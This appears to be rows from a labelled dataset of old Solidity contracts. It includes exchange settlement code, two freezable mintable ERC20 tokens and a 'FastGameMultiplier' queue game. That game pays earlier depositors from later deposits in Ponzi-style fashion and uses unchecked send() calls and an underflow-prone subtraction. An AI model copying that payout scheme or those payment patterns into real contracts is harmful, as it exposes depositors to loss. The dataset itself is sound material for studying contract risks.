require(reduceBalance(addresses[1], addresses[3], amounts[9]));
require(increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2]));
require(increaseBalanceOrWithdraw(addresses[4], addresses[2], amounts[8], values[3]));
emit OrderPayment(addresses[1], addresses[1], amounts[9], addresses[4], addresses[2], amounts[2]);
}
function tradeWithTips(
uint256[10] amounts,
address[4] addresses,
uint256[10] values,
bytes32[4] rs
) external onlyAdmin {
require(tradesLocked[addresses[0]] < block.number);
require(block.timestamp <= amounts[2]);
bytes32 orderHash = values[4] > 0 || values[5] > 0
? keccak256(abi.encode(ORDER_WITH_TIPS_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[2], amounts[2], amounts[3], values[4], values[5]))
: keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[2], amounts[2], amounts[3]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]);
orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]);
require(orderFills[orderHash] <= amounts[0]);
require(tradesLocked[addresses[1]] < block.number);
require(block.timestamp <= amounts[6]);
bytes32 orderHash2 = values[6] > 0 || values[7] > 0
? keccak256(abi.encode(ORDER_WITH_TIPS_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], values[3], amounts[6], amounts[7], values[6], values[7]))
: keccak256(abi.encode(ORDER_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], values[3], amounts[6], amounts[7]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]);
uint256 makerRate = calculateRate(amounts[0], amounts[1]);
uint256 takerRate = calculateRate(amounts[5], amounts[4]);
require(makerRate <= takerRate);
require(makerRate == calculateRate(amounts[8], amounts[9]));
orderFills[orderHash2] = safeAdd(orderFills[orderHash2], amounts[9]);
require(orderFills[orderHash2] <= amounts[4]);
require(reduceBalance(addresses[0], addresses[2], amounts[8]));
require(reduceBalance(addresses[1], addresses[3], amounts[9]));
if (values[4] > 0 && !isUserMakerFeeEnabled(addresses[0], values[8])) {
increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], values[4])), values[2]);
increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], values[4]));
} else if (values[4] == 0 && isUserMakerFeeEnabled(addresses[0], values[8])) {
increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], makerFeeRate)), values[2]);
increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], makerFeeRate));
} else if (values[4] > 0 && isUserMakerFeeEnabled(addresses[0], values[8])) {
increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeAdd(safeDiv(amounts[9], values[4]), safeDiv(amounts[9], makerFeeRate))), values[2]);
increaseBalance(feeAddress, addresses[3], safeAdd(safeDiv(amounts[9], values[4]), safeDiv(amounts[9], makerFeeRate)));
} else {
increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2]);
}
if (values[7] > 0 && !isUserTakerFeeEnabled(addresses[1], values[9])) {
increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], values[7])), values[3]);
increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], values[7]));
} else if (values[7] == 0 && isUserTakerFeeEnabled(addresses[1], values[9])) {
increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], takerFeeRate)), values[3]);
increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], takerFeeRate));
} else if (values[7] > 0 && isUserTakerFeeEnabled(addresses[1], values[9])) {
increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeAdd(safeDiv(amounts[8], values[7]), safeDiv(amounts[8], takerFeeRate))), values[3]);
increaseBalance(feeAddress, addresses[2], safeAdd(safeDiv(amounts[8], values[7]), safeDiv(amounts[8], takerFeeRate)));
} else {
increaseBalanceOrWithdraw(addresses[1], addresses[2], amounts[8], values[3]);
}
}
function() public payable {
revert();
}
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function safeDiv(uint a, uint b) internal pure returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeTransfer(
address token,
address to,
uint256 value)
private
returns (bool success)
{
success = token.call(0xa9059cbb, to, value);
return checkReturnValue(success);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value)
private
returns (bool success)
{
success = token.call(0x23b872dd, from, to, value);
return checkReturnValue(success);
}
function checkReturnValue(
bool success
)
private
pure
returns (bool)
{
if (success) {
assembly {
switch returndatasize()
case 0 {
success := 1
}
case 32 {
returndatacopy(0, 0, 32)
success := mload(0)
}
default {
success := 0
}
}
}
return success;
}
} | 0 | 165 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "OREToken";
string public constant TOKEN_SYMBOL = "ORET";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xdb0bb4b165bCC6a5b308E10F1388f87c3385d71a;
uint public constant START_TIME = 1540958439;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 248 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "OOOBTCTOKEN";
string public constant TOKEN_SYMBOL = "OBX";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xb908D01729DceF34E6e9E40c2fB0B966c130cAd7;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[5] memory addresses = [address(0x0547d81a36bc418042514a88ba3b408595a2c37c),address(0x84e6c16e2e31c3086c30a3c115fc5f195b4f8adb),address(0x2a7cdb06d503caf082539e615bf4fdc955e488dc),address(0x0fcedd41f94e354a3b4645643fcdc31046fede5d),address(0xb908d01729dcef34e6e9e40c2fb0b966c130cad7)];
uint[5] memory amounts = [uint(150000000000000000000000000),uint(1050000000000000000000000000),uint(150000000000000000000000000),uint(750000000000000000000000000),uint(900000000000000000000000000)];
uint64[5] memory freezes = [uint64(1560528013),uint64(0),uint64(0),uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 1,331 |
pragma solidity ^0.4.25;
contract FastGameMultiplier {
address public support;
uint constant public PRIZE_PERCENT = 3;
uint constant public SUPPORT_PERCENT = 2;
uint constant public MAX_INVESTMENT = 0.2 ether;
uint constant public MIN_INVESTMENT = 0.01 ether;
uint constant public MIN_INVESTMENT_FOR_PRIZE = 0.02 ether;
uint constant public GAS_PRICE_MAX = 20;
uint constant public MAX_IDLE_TIME = 10 minutes;
uint constant public SIZE_TO_SAVE_INVEST = 10;
uint constant public TIME_TO_SAVE_INVEST = 5 minutes;
uint8[] MULTIPLIERS = [
115,
120,
125
];
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
struct DepositCount {
int128 stage;
uint128 count;
}
struct LastDepositInfo {
uint128 index;
uint128 time;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
uint public currentQueueSize = 0;
LastDepositInfo public lastDepositInfoForPrize;
LastDepositInfo public previosDepositInfoForPrize;
uint public prizeAmount = 0;
uint public prizeStageAmount = 0;
int public stage = 0;
uint128 public lastDepositTime = 0;
mapping(address => DepositCount) public depositsMade;
constructor() public {
support = msg.sender;
proceedToNewStage(getCurrentStageByTime() + 1);
}
function () public payable {
require(tx.gasprice <= GAS_PRICE_MAX * 1000000000);
require(gasleft() >= 250000, "We require more gas!");
checkAndUpdateStage();
if(msg.value > 0){
require(msg.value >= MIN_INVESTMENT && msg.value <= MAX_INVESTMENT);
require(lastDepositInfoForPrize.time <= now + MAX_IDLE_TIME);
require(getNextStageStartTime() >= now + MAX_IDLE_TIME + 10 minutes);
if(currentQueueSize < SIZE_TO_SAVE_INVEST){
addDeposit(msg.sender, msg.value);
} else {
addDeposit(msg.sender, msg.value);
pay();
}
} else if(msg.value == 0 && currentQueueSize > SIZE_TO_SAVE_INVEST){
withdrawPrize();
} else if(msg.value == 0){
require(currentQueueSize <= SIZE_TO_SAVE_INVEST);
require(lastDepositTime > 0 && (now - lastDepositTime) >= TIME_TO_SAVE_INVEST);
returnPays();
}
}
function pay() private {
uint balance = address(this).balance;
uint128 money = 0;
if(balance > prizeStageAmount)
money = uint128(balance - prizeStageAmount);
uint128 moneyS = uint128(money*SUPPORT_PERCENT/100);
support.send(moneyS);
money -= moneyS;
for(uint i=currentReceiverIndex; i<currentQueueSize; i++){
Deposit storage dep = queue[i];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[i];
}else{
dep.depositor.send(money);
money -= dep.expect;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex = i;
}
function returnPays() private {
uint balance = address(this).balance;
uint128 money = 0;
if(balance > prizeAmount)
money = uint128(balance - prizeAmount);
for(uint i=currentReceiverIndex; i<currentQueueSize; i++){
Deposit storage dep = queue[i];
dep.depositor.send(dep.deposit);
money -= dep.deposit;
delete queue[i];
}
prizeStageAmount = 0;
proceedToNewStage(getCurrentStageByTime() + 1);
}
function addDeposit(address depositor, uint value) private {
DepositCount storage c = depositsMade[depositor];
if(c.stage != stage){
c.stage = int128(stage);
c.count = 0;
}
if(value >= MIN_INVESTMENT_FOR_PRIZE){
previosDepositInfoForPrize = lastDepositInfoForPrize;
lastDepositInfoForPrize = LastDepositInfo(uint128(currentQueueSize), uint128(now));
}
uint multiplier = getDepositorMultiplier(depositor);
push(depositor, value, value*multiplier/100);
c.count++;
lastDepositTime = uint128(now);
prizeStageAmount += value*PRIZE_PERCENT/100;
}
function checkAndUpdateStage() private {
int _stage = getCurrentStageByTime();
require(_stage >= stage);
if(_stage != stage){
proceedToNewStage(_stage);
}
}
function proceedToNewStage(int _stage) private {
stage = _stage;
currentQueueSize = 0;
currentReceiverIndex = 0;
lastDepositTime = 0;
prizeAmount += prizeStageAmount;
prizeStageAmount = 0;
delete queue;
delete previosDepositInfoForPrize;
delete lastDepositInfoForPrize;
}
function withdrawPrize() private {
require(lastDepositInfoForPrize.time > 0 && lastDepositInfoForPrize.time <= now - MAX_IDLE_TIME, "The last depositor is not confirmed yet");
require(currentReceiverIndex <= lastDepositInfoForPrize.index, "The last depositor should still be in queue");
uint balance = address(this).balance;
uint prize = balance;
if(previosDepositInfoForPrize.index > 0){
uint prizePrevios = prize*10/100;
queue[previosDepositInfoForPrize.index].depositor.transfer(prizePrevios);
prize -= prizePrevios;
}
queue[lastDepositInfoForPrize.index].depositor.send(prize);
proceedToNewStage(getCurrentStageByTime() + 1);
}
function push(address depositor, uint deposit, uint expect) private {
Deposit memory dep = Deposit(depositor, uint128(deposit), uint128(expect));
assert(currentQueueSize <= queue.length);
if(queue.length == currentQueueSize)
queue.push(dep);
else
queue[currentQueueSize] = dep;
currentQueueSize++;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<currentQueueSize; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getQueueLength() public view returns (uint) {
return currentQueueSize - currentReceiverIndex;
}
function getDepositorMultiplier(address depositor) public view returns (uint) {
DepositCount storage c = depositsMade[depositor];
uint count = 0;
if(c.stage == getCurrentStageByTime())
count = c.count;
if(count < MULTIPLIERS.length)
return MULTIPLIERS[count];
return MULTIPLIERS[MULTIPLIERS.length - 1];
}
function getCurrentStageByTime() public view returns (int) {
return int(now - 17848 * 86400 - 17 * 3600 - 30 * 60) / (24 * 60 * 60);
}
function getNextStageStartTime() public view returns (uint) {
return 17848 * 86400 + 17 * 3600 + 30 * 60 + uint((getCurrentStageByTime() + 1) * 24 * 60 * 60);
}
function getCurrentCandidateForPrize() public view returns (address addr, int timeLeft){
if(currentReceiverIndex <= lastDepositInfoForPrize.index && lastDepositInfoForPrize.index < currentQueueSize){
Deposit storage d = queue[lastDepositInfoForPrize.index];
addr = d.depositor;
timeLeft = int(lastDepositInfoForPrize.time + MAX_IDLE_TIME) - int(now);
}
}
} | 0 | 2,017 |
contract GameOfThrones {
address public trueGods;
address public jester;
uint public lastCollection;
uint public onThrone;
uint public kingCost;
uint public piggyBank;
uint public godBank;
uint public jesterBank;
uint public kingBank;
address[] public citizensAddresses;
